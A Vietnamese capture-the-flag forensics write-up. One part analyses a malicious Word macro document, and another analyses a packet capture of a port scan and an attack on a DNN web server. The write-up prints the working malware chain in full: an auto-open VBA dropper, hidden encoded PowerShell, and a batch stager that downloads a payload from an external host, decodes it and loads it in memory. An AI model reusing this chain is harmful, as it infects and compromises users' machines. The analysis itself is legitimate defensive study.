Challenge : Batmobile

- Descryption : Đề bài cho 1 file .docm có chứa macro t

Đầu tiên, extract macro bằng olevba

- 2 hàm AutoOpen() và CheckSystemUpdate() đều có code block là

```
Sub AutoOpen()
    On Error Resume Next
    CheckSystemUpdate
    LoadImageResources
End Sub

Sub Document_Open()
    On Error Resume Next
    CheckSystemUpdate
    LoadImageResources
End Sub
```

- Bỏ qua lỗi nếu có, gọi đến 2 hàm CheckSystemUpdate và LoadImageResources

```
-   Sub CheckSystemUpdate()
-     Dim objHTTP As Object
-     Dim strURL As String
-     Dim strSavePath As String
-     Dim objStream As Object
-
-     strURL = "https://wuan.d?c.vn/flag.txt"
-     strSavePath = Environ("USERPROFILE") & "\Downloads\flag.txt"
-
-     Set objHTTP = CreateObject("MSXML2.ServerXMLHTTP.6.0")
-     objHTTP.Open "GET", strURL, False
-     objHTTP.setRequestHeader "User-Agent", "Mozilla/5.0"
-     objHTTP.send
-
-     If objHTTP.Status = 200 Then
-       Set objStream = CreateObject("ADODB.Stream")
-       objStream.Type = 1
-       objStream.Open
-       objStream.Write objHTTP.responseBody
-       objStream.SaveToFile strSavePath, 2
-       objStream.Close
-       Set objStream = Nothing
-
-       MsgBox "Security update downloaded successfully!", vbInformation, "System Update"
-     End If
-
```

```
-     Set objHTTP = Nothing
-   End Sub
```

- Tạo các biến cho HTTP request, tải file từ link bị obfuscated, sau đó handling response, ghi đè file lên folder Downloads nếu có, sau đó dọn dẹp tài nguyên.

```
-   Sub LoadImageResources()
-     Dim shp As Shape
-     Dim strScript As String
-     Dim objShell As Object
-
-     For Each shp In ActiveDocument.Shapes
-       If shp.AlternativeText <> "" Then
-         strScript = shp.AlternativeText
-         Exit For
-       End If
-     Next shp
-
-     If strScript = "" Then
-       Dim inlShp As InlineShape
-       For Each inlShp In ActiveDocument.InlineShapes
-         If inlShp.AlternativeText <> "" Then
-           strScript = inlShp.AlternativeText
-           Exit For
-         End If
-       Next inlShp
-     End If
-
-     If strScript <> "" Then
-       Set objShell = CreateObject("WScript.Shell")
-       objShell.Run "powershell.exe -NoP -NonI -W Hidden -EP Bypass -Enc " & strScript, 0, False
-       Set objShell = Nothing
-     End If
-   End Sub
```

- Tìm kiếm tài nguyên Shapes(Ảnh, Textbox,...) trong file, khi tìm thấy thì sẽ dừng loop, lấy text trong ảnh, chạy shell với nội dung trong ảnh
- Tạo pws chạy script trong ảnh

Extract text từ ảnh bằng cách unzip file, sau đó lấy đc data trong document.xml

JHVuaWNvZGU9J3d1YW4uxJHhurdjLnZuJw0KJGlkbj1OZXctT2JqZWN0IFN5c3RlbS5HbG9iYWxpemF0aW9uLklkbk1
hcHBpbmcNCnRyeXsgJGhvc3Q9JGlkbi5HZXRBc2NpaSgkdW5pY29kZSkgfSBjYXRjaCB7ICRob3N0PSR1bmljb2RlIH
0NCiR1cmw9J2h0dHBzOi8vJyskaG9zdCsnL3VwZGF0ZS5iYXQnDQokcGF0aD0kZW52OlRFTVArJ1x1cGRhdGUuYmF0J
w0KW05ldC5TZXJ2aWNlUG9pbnRNYW5hZ2VyXTo6U2VjdXJpdHlQcm90b2NvbD1bTmV0LlNlY3VyaXR5UHJvdG9jb2xU
eXBlXTo6VGxzMTINCnRyeXsNCiAgICAkd2M9TmV3LU9iamVjdCBOZXQuV2ViQ2xpZW50DQogICAgJHdjLkhlYWRlcnM
uQWRkKCdVc2VyLUFnZW50JywnTW96aWxsYS81LjAgKFdpbmRvd3MgTlQgMTAuMDsgV2luNjQ7IHg2NCknKQ0KICAgIC
R3Yy5Eb3dubG9hZEZpbGUoJHVybCwkcGF0aCkNCiAgICBTdGFydC1Qcm9jZXNzIC1GaWxlUGF0aCAkcGF0aCAtV2luZ
G93U3R5bGUgSGlkZGVuDQp9IGNhdGNoIHt9DQo

ABC 675 1 Raw Bytes LF

Output

```
$unicode='wuan.đặc.vn'
$idn=New-Object System.Globalization.IdnMapping
try{ $host=$idn.GetAscii($unicode) } catch { $host=$unicode }
$url='https://'+$host+'/update.bat'
$path=$env:TEMP+'\update.bat'
[Net.ServicePointManager]::SecurityProtocol=[Net.SecurityProtocolType]::Tls12
try{
    $wc=New-Object Net.WebClient
    $wc.Headers.Add('User-Agent','Mozilla/5.0 (Windows NT 10.0; Win64; x64)')
    $wc.DownloadFile($url,$path)
    Start-Process -FilePath $path -WindowStyle Hidden
} catch {}
```

IDNMapping chuyển kí tự Unicode sang ascii, url à wuan.xn—c-adb.vn

Tạo WebClient, tải file từ path, try catch nuốt mọi lỗi

Dùng powershell, viết lại code tương tự, tuy nhiên bỏ dòng StartProcess, bỏ khối try catch, chuyển output ra Desktop

Thu được file với nội dung :

```
&cls
@echo off
setlocal

set PS=%SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe

%PS% -NoP -NonI -W Hidden -EP Bypass -Command ^
"$unicode='wuan.đặc.vn';" ^
"$idn=New-Object System.Globalization.IdnMapping;" ^
"try{ $host=$idn.GetAscii($unicode) } catch { $host=$unicode };" ^
"$url='https://'+$host+'/update.txt';" ^
"$key=0x37;" ^
"[Net.ServicePointManager]::SecurityProtocol=[Net.SecurityProtocolType]::Tls12;" ^
"$wc=New-Object Net.WebClient;" ^
"try{ $data=$wc.DownloadString($url) } catch { exit };" ^
"$bytes=[Text.Encoding]::ASCII.GetBytes($data);" ^
"for($i=0;$i -lt $bytes.Length;$i++){$bytes[$i]=$bytes[$i] -bxor $key};" ^
"$decoded=[Text.Encoding]::ASCII.GetString($bytes);" ^
"$asm=[Convert]::FromBase64String($decoded);" ^
"$assembly=[Reflection.Assembly]::Load($asm);" ^
"$entry=$assembly.EntryPoint; if($entry -ne $null){ $entry.Invoke($null,
@(,[string[]]@())) }"

endlocal
```

Nội dung đc encod evowis 0x37, sau đó decode base64

Viết pws tương tự à redirect utube

Ở file trước đó, curl thông thường sẽ bị redirect, cần phải curl với header chính xác

Tương tự ở đây, curl cần thêm thông tin Header WindowsPowershell:

```
PS C:\Users\admin\Desktop> curl.exe -A "WindowsPowerShell" -o update.txt https://wuan.xn--c-kia488t.vn/update.txt
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100 32768  100 32768    0     0   182k      0 --:--:-- --:--:-- --:--:--  183k
PS C:\Users\admin\Desktop>
```

Tải thành công, thu được payload, và xor với 0x37, sau đó decode base64, thu đc file .exe (header MZ), DIE ra .NET

Reverse bằng ILSpy, flag là AES_Key

Đây là Trojan C2 Server, có thể thực hiện nhiều shellcode trên máy nạn nhân.

Challenge : behind the mountain

Descryption : Firewall được cấu hình không hợp lí, cho phép các traffic lạ đi qua.

- Câu hỏi 1 : Cuộc tấn công bắt đầu trong khoảng thời gian nào :

Statistics Protocol Hierachy, kết quả thu được là:

User Datagram Protocol	8.1	17658	0.1	141264	413	1	8	0
Transmission Control Protocol	89.3	195490	3.9	4374904	12 k	114605	2757204	80
Transport Layer Security	0.1	157	0.1	90945	266	157	90945	26
SSH Protocol	2.1	4496	0.3	314138	920	4494	314133	92
Malformed Packet	0.0	2	0.0	0	0	2	0	0
Session Initiation Protocol	0.0	1	0.0	223	0	1	223	0
Remote Procedure Call	0.0	2	0.0	88	0	0	0	0
Portmap	0.0	2	0.0	0	0	2	0	0
NetBIOS Session Service	0.0	51	0.0	4043	11	33	1534	4
SMB2 (Server Message Block Protocol version 2)	0.0	4	0.0	1100	3	4	1100	3
SMB (Server Message Block Protocol)	0.0	13	0.0	1224	3	13	1224	3
Microsoft Delivery Optimization	0.0	4	0.0	373	1	4	373	1
Hypertext Transfer Protocol	34.8	76122	11.1	12340993	36 k	38053	4800884	14
Portable Network Graphics	0.0	9	0.0	29623	86	9	29623	86
MIME Multipart Media Encapsulation	0.0	5	0.0	9858	28	5	9858	28
Media Type	0.0	33	1.9	2158250	6324	33	2158250	63
Line-based text data	17.3	37962	64.0	70878453	207 k	37962	70878453	20
HTML Form URL Encoded	0.0	4	0.0	352	1	4	352	1
eXtensible Markup Language	0.0	54	0.0	40216	117	54	40216	11
Compuserve GIF	0.0	2	0.0	10037	29	2	10037	29
General Inter-ORB Protocol	0.0	1	0.0	48	0	1	48	0
Distributed Computing Environment / Remote Procedure Call (DCE/RPC)	0.0	1	0.0	24	0	1	24	0
Internet Control Message Protocol	0.0	49	0.0	19800	58	49	19800	58
Data	2.6	5693	7.5	8351452	24 k	5693	8351452	24
Address Resolution Protocol	0.1	126	0.0	3528	10	126	3528	10

TCP chiếm 89.3% (trong đó HTTP chiếm 34.8), UDP chiếm 8.1%

Kiểm tra conversations UDP và TCP

Address A	Address B	Packets	Bytes	Stream ID	Total Packets	Percent Filtered	Packets A → B	Bytes A → B	Packets B → A	Bytes B → A	Rel Start	Durati
10.5.2.178	157.230.41.56	8	5 kB	53	20	40.00%	8	5 kB	0	0 bytes	252.618623	2238.6444
45.128.96.141	157.230.41.56	1	234 bytes	105	1	100.00%	1	234 bytes	0	0 bytes	545.395937	0.0000
45.134.190.42	157.230.41.56	3,573	1 MB	41	192,875	1.85%	521	315 kB	3,052	864 kB	181.913914	2476.8794
45.143.9.162	157.230.41.56	2	934 bytes	197	2	100.00%	1	453 bytes	1	481 bytes	1433.232861	0.0001
64.62.197.60	157.230.41.56	1	60 bytes	253	1	100.00%	1	60 bytes	0	0 bytes	1823.711956	0.0000
65.49.1.27	157.230.41.56	2	152 bytes	23	2	100.00%	1	62 bytes	1	90 bytes	91.512972	0.0001
65.49.1.74	157.230.41.56	1	60 bytes	100	1	100.00%	1	60 bytes	0	0 bytes	514.945543	0.0000
65.49.20.75	157.230.41.56	2	180 bytes	128	2	100.00%	1	76 bytes	1	104 bytes	695.562148	0.0001
103.231.177.85	157.230.41.56	2	186 bytes	303	2	100.00%	1	79 bytes	1	107 bytes	2288.063121	0.0001
116.96.45.164	157.230.41.56	14,062	4 MB	0	23,516	59.80%	5,645	1 MB	8,417	3 MB	0.000000	2730.0335
146.88.241.76	157.230.41.56	2	154 bytes	49	2	100.00%	1	63 bytes	1	91 bytes	226.949127	0.0001
151.253.124.222	157.230.41.56	1	141 bytes	319	1	100.00%	1	141 bytes	0	0 bytes	2477.016599	0.0000
157.230.41.56	67.207.67.3	28	4 kB	60	28	100.00%	14	1 kB	14	2 kB	276.536409	2405.6694
157.230.41.56	157.230.47.255	4	972 bytes	30	4	100.00%	4	972 bytes	0	0 bytes	123.195859	2164.1508
170.84.114.125	157.230.41.56	1	92 bytes	84	1	100.00%	1	92 bytes	0	0 bytes	419.093129	0.0000
173.249.31.135	157.230.41.56	2	135 bytes	126	2	100.00%	1	60 bytes	1	75 bytes	691.543677	0.0001
192.241.214.9	157.230.41.56	1	65 bytes	144	1	100.00%	1	65 bytes	0	0 bytes	904.005501	0.0000
192.241.222.93	157.230.41.56	2	192 bytes	98	2	100.00%	1	82 bytes	1	110 bytes	491.765623	0.0001
194.226.0.21	157.230.41.56	1	62 bytes	155	1	100.00%	1	62 bytes	0	0 bytes	1001.167473	0.0000
198.235.24.181	157.230.41.56	1	60 bytes	244	1	100.00%	1	60 bytes	0	0 bytes	1760.758264	0.0000
205.210.31.244	157.230.41.56	2	864 bytes	179	4	50.00%	1	418 bytes	1	446 bytes	1205.675613	1459.0406

Address A	Port A	Address B	Port B	Packets	Bytes	Stream ID	Total Packets	Percent Filtered	Packets A → B	Bytes A → B	Packets B → A	Bytes B → A
45.128.96.141	46413	157.230.41.56	123	1	234 bytes	13	1	100.00%	1	234 bytes	0	0 bytes 54
45.134.190.42	53725	157.230.41.56	22	3,559	1 MB	3	3,559	100.00%	507	314 kB	3,052	864 kB 18
45.134.190.42	61763	157.230.41.56	137	1	92 bytes	28	1	100.00%	1	92 bytes	0	0 bytes 21
45.134.190.42	61765	157.230.41.56	137	1	92 bytes	36	1	100.00%	1	92 bytes	0	0 bytes 21
45.134.190.42	61770	157.230.41.56	137	1	92 bytes	30	1	100.00%	1	92 bytes	0	0 bytes 21
45.134.190.42	61776	157.230.41.56	137	1	92 bytes	38	1	100.00%	1	92 bytes	0	0 bytes 21
45.134.190.42	61778	157.230.41.56	137	1	92 bytes	33	1	100.00%	1	92 bytes	0	0 bytes 21
45.134.190.42	61783	157.230.41.56	137	1	92 bytes	41	1	100.00%	1	92 bytes	0	0 bytes 21
45.134.190.42	61784	157.230.41.56	137	1	92 bytes	37	1	100.00%	1	92 bytes	0	0 bytes 21
45.134.190.42	61785	157.230.41.56	137	1	92 bytes	39	1	100.00%	1	92 bytes	0	0 bytes 21
45.134.190.42	61801	157.230.41.56	137	1	92 bytes	32	1	100.00%	1	92 bytes	0	0 bytes 21
45.134.190.42	61803	157.230.41.56	38335	1	60 bytes	29	1	100.00%	1	60 bytes	0	0 bytes 21
45.134.190.42	61813	157.230.41.56	1434	1	60 bytes	35	1	100.00%	1	60 bytes	0	0 bytes 21
45.134.190.42	61826	157.230.41.56	38635	1	60 bytes	31	1	100.00%	1	60 bytes	0	0 bytes 21
45.134.190.42	61828	157.230.41.56	137	1	92 bytes	34	1	100.00%	1	92 bytes	0	0 bytes 21
45.134.190.42	61834	157.230.41.56	137	1	92 bytes	40	1	100.00%	1	92 bytes	0	0 bytes 21
45.143.9.162	5303	157.230.41.56	5060	1	453 bytes	21	1	100.00%	1	453 bytes	0	0 bytes 14
64.62.197.60	52722	157.230.41.56	3702	1	60 bytes	23	1	100.00%	1	60 bytes	0	0 bytes 18
65.49.1.27	47789	157.230.41.56	523	1	62 bytes	1	1	100.00%	1	62 bytes	0	0 bytes 9
65.49.1.74	60528	157.230.41.56	3389	1	60 bytes	12	1	100.00%	1	60 bytes	0	0 bytes 5
65.49.20.75	56661	157.230.41.56	427	1	76 bytes	15	1	100.00%	1	76 bytes	0	0 bytes 69
103.231.177.85	4193	157.230.41.56	1027	1	79 bytes	42	1	100.00%	1	79 bytes	0	0 bytes 22
116.96.45.164	13617	157.230.41.56	22	3,242	1 MB	24	3,242	100.00%	1,268	410 kB	1,974	612 kB 18
116.96.45.164	29897	157.230.41.56	22	4,676	1 MB	48	4,676	100.00%	1,873	478 kB	2,803	931 kB 26
116.96.45.164	58565	157.230.41.56	22	3,076	1 MB	8	3,076	100.00%	1,328	395 kB	1,748	622 kB 44
146.88.241.76	56476	157.230.41.56	32414	1	63 bytes	4	1	100.00%	1	63 bytes	0	0 bytes 22
151.253.124.222	60228	157.230.41.56	1900	1	141 bytes	43	1	100.00%	1	141 bytes	0	0 bytes 24
157.230.41.56	49208	67.207.67.3	53	2	247 bytes	25	2	100.00%	1	76 bytes	1	171 bytes 18
157.230.41.56	50058	67.207.67.3	53	2	315 bytes	16	2	100.00%	1	89 bytes	1	226 bytes 72
157.230.41.56	51671	67.207.67.3	53	2	210 bytes	46	2	100.00%	1	97 bytes	1	113 bytes 26
157.230.41.56	51744	67.207.67.3	53	2	315 bytes	44	2	100.00%	1	89 bytes	1	226 bytes 25
157.230.41.56	52348	67.207.67.3	53	2	247 bytes	9	2	100.00%	1	76 bytes	1	171 bytes 44
157.230.41.56	52708	67.207.67.3	53	2	210 bytes	45	2	100.00%	1	97 bytes	1	113 bytes 26
157.230.41.56	52895	67.207.67.3	53	2	309 bytes	10	2	100.00%	1	90 bytes	1	219 bytes 44
157.230.41.56	54194	67.207.67.3	53	2	305 bytes	26	2	100.00%	1	90 bytes	1	215 bytes 18
157.230.41.56	55626	67.207.67.3	53	2	315 bytes	17	2	100.00%	1	89 bytes	1	226 bytes 72
157.230.41.56	57425	67.207.67.3	53	2	210 bytes	27	2	100.00%	1	97 bytes	1	113 bytes 18
157.230.41.56	59341	67.207.67.3	53	2	253 bytes	18	2	100.00%	1	74 bytes	1	179 bytes 78
157.230.41.56	62378	67.207.67.3	53	2	210 bytes	6	2	100.00%	1	97 bytes	1	113 bytes 27
157.230.41.56	62514	67.207.67.3	53	2	247 bytes	49	2	100.00%	1	76 bytes	1	171 bytes 26
157.230.41.56	64905	67.207.67.3	53	2	305 bytes	50	2	100.00%	1	90 bytes	1	215 bytes 26
157.230.41.56	22	116.96.45.164	52840	3,043	641 kB	0	3,043	100.00%	1,892	543 kB	1,151	98 kB 0
157.230.41.56	138	157.230.47.255	138	4	972 bytes	2	4	100.00%	4	972 bytes	0	0 bytes 12
170.84.114.125	58659	157.230.41.56	137	1	92 bytes	7	1	100.00%	1	92 bytes	0	0 bytes 41

Các ip đều kết nối với 157.230.41.56 à Đây có thể là IP của server

Xem TCP, sort theo bytes từ cao à thấp, có IP 116.96.45.164 kết nối qua port 22, 45.134.190.42 kết nối qua nhiều port, nhưng 8090 là chủ yếu, các IP khác kết nối không nhiều như ip này

Sort ip 116.96.45.164

No.	Time	Source	Destination	Protocol	Length	Info
1	0.000000	116.96.45.164	157.230.41.56	SSH	104	Client: Encrypted packet (len=50)
2	0.000058	157.230.41.56	116.96.45.164	TCP	54	22 → 27364 [ACK] Seq=1 Ack=51 Win=63449 Len=0
3	0.006652	157.230.41.56	116.96.45.164	UDP	52	22 → 52840 Len=10
4	0.016611	116.96.45.164	157.230.41.56	SSH	104	Client: Encrypted packet (len=50)
5	0.027333	157.230.41.56	116.96.45.164	UDP	148	22 → 52840 Len=106
6	0.029188	116.96.45.164	157.230.41.56	UDP	119	52840 → 22 Len=77
7	0.032657	116.96.45.164	157.230.41.56	SSH	104	Client: Encrypted packet (len=50)
8	0.032710	157.230.41.56	116.96.45.164	TCP	54	22 → 27364 [ACK] Seq=1 Ack=151 Win=63349 Len=0
9	0.048580	116.96.45.164	157.230.41.56	SSH	104	Client: Encrypted packet (len=50)
10	0.053448	157.230.41.56	116.96.45.164	UDP	53	22 → 52840 Len=11
11	0.063960	157.230.41.56	116.96.45.164	UDP	1247	22 → 52840 Len=1205
12	0.065590	116.96.45.164	157.230.41.56	SSH	104	Client: Encrypted packet (len=50)
13	0.065643	157.230.41.56	116.96.45.164	TCP	54	22 → 27364 [ACK] Seq=1 Ack=251 Win=63249 Len=0
14	0.076115	116.96.45.164	157.230.41.56	UDP	112	52840 → 22 Len=70
15	0.079092	116.96.45.164	157.230.41.56	SSH	104	Client: Encrypted packet (len=50)
16	0.094425	116.96.45.164	157.230.41.56	SSH	104	Client: Encrypted packet (len=50)
17	0.094502	157.230.41.56	116.96.45.164	TCP	54	22 → 27364 [ACK] Seq=1 Ack=351 Win=63149 Len=0
18	0.100363	157.230.41.56	116.96.45.164	UDP	53	22 → 52840 Len=11
19	0.110207	116.96.45.164	157.230.41.56	SSH	104	Client: Encrypted packet (len=50)
20	0.112112	116.96.45.164	157.230.41.56	UDP	111	52840 → 22 Len=69
21	0.126611	116.96.45.164	157.230.41.56	SSH	104	Client: Encrypted packet (len=50)
22	0.126679	157.230.41.56	116.96.45.164	TCP	54	22 → 27364 [ACK] Seq=1 Ack=451 Win=63049 Len=0
23	0.131576	157.230.41.56	116.96.45.164	UDP	53	22 → 52840 Len=11
24	0.142309	116.96.45.164	157.230.41.56	SSH	104	Client: Encrypted packet (len=50)
25	0.156804	116.96.45.164	157.230.41.56	SSH	104	Client: Encrypted packet (len=50)
26	0.156872	157.230.41.56	116.96.45.164	TCP	54	22 → 27364 [ACK] Seq=1 Ack=551 Win=62949 Len=0

Kiểm tra 1 lượt, nhận thấy IP này xuất hiện sớm, kết nối đúng port 22 duy nhất (port cho SSH), UDP là MOSH, ngoài ra còn xuất hiện đầu tiên à nhiều khả năng là người dùng hợp pháp của hệ thống

Sort ip 45.134.190.42

Protocol	Percent Packets	Packets	Percent Bytes	Bytes	Bits/s	End Packets	End Bytes	End
Frame	100.0	192875	100.0	101024877	326 k	0	0	0
Ethernet	100.0	192875	3.0	2997733	9682	0	0	0
Internet Protocol Version 4	100.0	192875	3.8	3857500	12 k	0	0	0
User Datagram Protocol	1.9	3573	0.0	28584	92	0	0	0
NetBIOS Name Service	0.0	11	0.0	550	1	11	550	1
Data	1.8	3562	4.7	4790843	15 k	3562	4790843	15
Transmission Control Protocol	96.8	186759	4.2	4195372	13 k	110349	2667172	86
Transport Layer Security	0.0	17	0.0	7117	22	17	7117	22
SSH Protocol	0.1	287	0.1	66707	215	285	66702	21
Malformed Packet	0.0	2	0.0	0	0	2	0	0
Session Initiation Protocol	0.0	1	0.0	223	0	1	223	0
Remote Procedure Call	0.0	2	0.0	88	0	0	0	0
Portmap	0.0	2	0.0	0	0	2	0	0
NetBIOS Session Service	0.0	45	0.0	3368	10	33	1534	4
SMB2 (Server Message Block Protocol version 2)	0.0	4	0.0	1100	3	4	1100	3
SMB (Server Message Block Protocol)	0.0	7	0.0	573	1	7	573	1
Microsoft Delivery Optimization	0.0	4	0.0	373	1	4	373	1
Hypertext Transfer Protocol	39.4	76002	12.2	12300772	39 k	38020	4791606	15
Portable Network Graphics	0.0	9	0.0	29623	95	9	29623	95
MIME Multipart Media Encapsulation	0.0	5	0.0	9858	31	5	9858	31
Media Type	0.0	32	2.1	2152820	6953	32	2152820	69
Line-based text data	19.7	37930	70.1	70847000	228 k	37930	70847000	22
HTML Form URL Encoded	0.0	4	0.0	352	1	4	352	1
Compuserve GIF	0.0	2	0.0	10037	32	2	10037	32
General Inter-ORB Protocol	0.0	1	0.0	48	0	1	48	0
Distributed Computing Environment / Remote Procedure Call (DCE/RPC)	0.0	1	0.0	24	0	1	24	0
Data	1.3	2594	3.7	3764932	12 k	2594	3764932	12

- Khi sort ip, giai đoạn đầu có gửi gói tin qua port 22, có vẻ là SSH, tuy nhiên có vẻ thử SSH thất bại vì lượng packet chỉ có 0.1%
- Xem conversations, nhận ra ip này gửi request đến rất nhiều port trong khoảng 1 đến 65000, có thể là dấu hiệu của thử toàn bộ port brute force của server à Khả năng attacker rất cao

câu hỏi 1 : Đáp án là 11am;30-03-2024 GMT+7 – Thời điểm ip lần đầu xuất hiện

Câu hỏi 2: Kẻ tấn công (được cho là) có nguồn gốc từ quốc gia nào, và hắn đang thực hiện tấn công ở thành phố nào? Format: City/Country (all lowercase, bỏ tất cả dấu cách)"

Tra database ip, kết luận là **bandarseribegawan/brunei**

Câu 3 : kẻ tấn công sử dụng công cụ gì để che giấu hành vi trên internet: tra ip2location

Geolocation Data

The geolocation data uses IP2Location DB26 geolocation database.

Permalink	https://www.ip2location.com/45.134.190.42
IP Address	45.134.190.42
Country	Brunei Darussalam [BN]
Region	Brunei-Muara
City	Bandar Seri Begawan
Coordinates of City	4.940300, 114.947950 (4°56'25"N 114°56'53"E)
ISP	PacketHub S.A.
Local Time	06 Mar, 2026 01:32 AM (UTC +08:00)
Domain	nordvpn.com
Net Speed	(T1) Data Center/Transit
IDD & Area Code	(673) 0223
ZIP Code	BS8311
Weather Station	Brunei Airport (BXXX0001)
Mobile Carrier	-
Mobile Country Code	-
Mobile Network Code	-

Proxy Data

The proxy data uses IP2Proxy PX12 proxy database.

IP Address	45.134.190.42
Anonymous Proxy	Yes
Proxy Country	Brunei Darussalam [BN]
Proxy Region	Brunei-Muara
Proxy City	Bandar Seri Begawan
Proxy ISP	PacketHub S.A.
Proxy Domain	nordvpn.com
Proxy Usage Type	(DCH) Data Center/Web Hosting/Transit
Proxy Type	VPN
Proxy ASN	AS212238 DataCamp Limited
Threat	-
Last Seen	1 day ago
Provider	NordVPN
Fraud Score	99

- Đáp án là **NordVPN**

Câu 4: "Server đang mở những cổng nào? (Format: viết các cổng từ nhỏ đến lớn, ngăn cách bằng dấu phẩy, chỉ tính các cổng từ 1-10000)"

Các cổng server mở tức là cổng có syn (gửi request), và ack(nhận request) = 1, gửi request đến ip server

ip.src ==157.230.41.56 and tcp.flags.syn == 1 and tcp.flags.ack == 1

Xem conversations statistics, gồm có : 22, 8090,445,139,5357,5040,7680,8001 trong khoảng trên

Đáp án là **22,135,139,445,5040,5357,7680,8001,8090**

Câu 5 : "Webserver đang được serve tại cổng nào?"

HTTP chiếm phần lớn, có thể là tấn công qua web

- Check conversations, thấy chủ yếu là 8090, những port khác có vẻ chỉ là scan qua 1 lần để check

Đáp án : **8090**

Câu 6: Sau khi thực hiện quét cổng, kẻ tấn công đã tiến hành quét tự động bằng một công cụ, User-Agent của công cụ này là gì

Khi xem statistics trước đó, ta thấy attacker truy cập hàng loạt các port khác nhau à Scan Port

- Sort port 8090, xem các request đến ip server (tức là SYN = 1, ACK = 0), bỏ qua request ACK ==1 để tránh rối

Có 2 UserAgent được sử dụng

FeroxBuster và Mozilla Nmap…

Thử lần lượt vào đáp án à **feroxbuster/2.10.1**

Câu 7 : "Tên của dịch vụ đang chạy ở Webserver là gì? Dịch vụ này có 1 CVE được biết đến rộng rãi, bạn có thể nêu tên được không? (Format: ServiceName_CVE. Ví dụ: Atlassian Confluence_CVE-2023-22527)"

```
HTTP/1.1 200 OK
Cache-Control: no-cache
Pragma: no-cache
Content-Type: text/html; charset=utf-8
Content-Encoding: gzip
Expires: -1
Vary: Accept-Encoding
Set-Cookie: dnn_IsMobile=False; path=/; HttpOnly
Set-Cookie: language=en-US; path=/; HttpOnly
X-Frame-Options: SAMEORIGIN
X-UA-Compatible: IE=edge
Set-Cookie: dnn_IsMobile=False; path=/; HttpOnly
Set-Cookie: language=en-US; path=/; HttpOnly
Set-Cookie: __RequestVerificationToken=Qro1-P29DXhvUcjB5aECfro43eiaq2VUFFKtBWxzejRqjmRWpHLdfwgxBeWncV-dzAc0bw2; path=/; HttpOnly
Date: Sat, 30 Mar 2024 04:56:13 GMT
Content-Length: 7745

<!DOCTYPE html>
<html  lang="en-US">
<head id="Head">
<!--********************************************-->
<!-- DNN Platform - http://www.dnnsoftware.com   -->
<!-- Copyright (c) 2002-2017, by DNN Corporation -->
<!--********************************************-->
<meta content="text/html; charset=UTF-8" http-equiv="Content-Type" /><title>
            Home
</title><meta id="MetaKeywords" name="KEYWORDS" content=",DotNetNuke,DNN" /><meta id="MetaGenerator" name="GENERATOR" content="DotNetNuke " />
FOLLOW" /><link href="/Resources/Shared/stylesheets/dnndefault/7.0.0/default.css?cdv=46" type="text/css" rel="stylesheet"/><link href="/Portal
ylesheet"/><link href="/Resources/Search/SearchSkinObjectPreview.css?cdv=46" type="text/css" rel="stylesheet"/><link href="/Portals/_default/S
" type="text/css" rel="stylesheet"/><link href="/Portals/_default/Skins/Xcillion/css/jquery.smartmenus.bootstrap.css?cdv=46" type="text/css" r
/Xcillion/Menus/MainMenu/MainMenu.css?cdv=46" type="text/css" rel="stylesheet"/><link href="/Portals/_default/Skins/Xcillion/skin.css?cdv=46"
ls/0/portal.css?cdv=46" type="text/css" rel="stylesheet"/><link href="/Portals/0/home.css?cdv=46" type="text/css" rel="stylesheet"/><script sr
v=46" type="text/javascript"></script><script src="/Resources/libraries/jQuery-UI/01_11_03/jquery-ui.js?cdv=46" type="text/javascript"></scrip
/><meta name="viewport" content="width=device-width,initial-scale=1" /></head>
```

Ta filter http response từ web server

Đọc 1 http stream à Server DNN

- Đáp án : DotNetNuke_CVE-2017-9822
- Flag

Challenge : persistence